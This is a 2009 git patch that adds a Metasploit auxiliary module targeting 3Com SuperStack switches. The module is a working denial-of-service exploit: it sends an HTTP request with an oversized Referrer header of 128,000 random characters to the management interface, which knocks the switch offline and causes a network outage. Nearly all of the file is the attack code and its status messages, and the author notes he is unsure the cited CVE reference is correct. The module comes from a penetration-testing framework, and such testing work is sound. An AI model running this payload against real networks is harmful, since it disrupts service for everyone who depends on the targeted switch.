From 28440435f30cb8806f4b6bb63e968abe08f8e512 Mon Sep 17 00:00:00 2001
From: Patrick Webster <patrick@aushack.com>
Date: Wed, 1 Jul 2009 03:57:04 +0000
Subject: [PATCH] Added 3com_superstack_switch DoS aux module.

git-svn-id: file:///home/svn/framework3/trunk@6734 4d416f70-5f16-0410-b530-b9f4589650da
---
 .../dos/http/3com_superstack_switch.rb        | 64 +++++++++++++++++++
 1 file changed, 64 insertions(+)
 create mode 100644 modules/auxiliary/dos/http/3com_superstack_switch.rb

diff --git a/modules/auxiliary/dos/http/3com_superstack_switch.rb b/modules/auxiliary/dos/http/3com_superstack_switch.rb
new file mode 100644
index 0000000000..999ea300d7
--- /dev/null
+++ b/modules/auxiliary/dos/http/3com_superstack_switch.rb
@@ -0,0 +1,64 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to 
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+
+require 'msf/core'
+
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Tcp
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,	
+			'Name'           => '3Com SuperStack Switch Denial of Service',
+			'Description'    => %q{
+				This module causes a temporary denial of service condition
+				against 3Com SuperStack switches. By sending excessive data
+				to the HTTP Management interface, the switch stops responding
+				temporarily, causing a temporary network outage. The device does
+				not reset. Tested successfully against a 3300SM firmware v2.66.
+			},
+			'Author'         => [ 'patrick' ],
+			'License'        => MSF_LICENSE,
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					# patrickw - I am not sure if these are correct, but the closest match!
+					[ 'OSVDB', '7246' ],
+					[ 'CVE', '2004-2691' ],
+				],
+			'DisclosureDate' => 'Jun 24 2004'))
+			
+		register_options( [ Opt::RPORT(80) ], self.class )
+	end
+
+	def run
+		begin
+			connect
+			print_status("Sending DoS packet to #{rhost}:#{rport}")
+
+			sploit = "GET / HTTP/1.0\r\n"
+			sploit << "Referrer: " + Rex::Text.rand_text_alpha(1) * 128000
+
+			sock.put(sploit +"\r\n\r\n")
+			disconnect
+			print_status("DoS packet unsuccessful.")
+		rescue ::Rex::ConnectionRefused
+			print_status("Unable to connect to #{rhost}:#{rport}.")
+		rescue ::Errno::ECONNRESET
+			print_status("DoS packet successful. #{rhost} not responding.")
+		end
+			
+	end
+
+end
\ No newline at end of file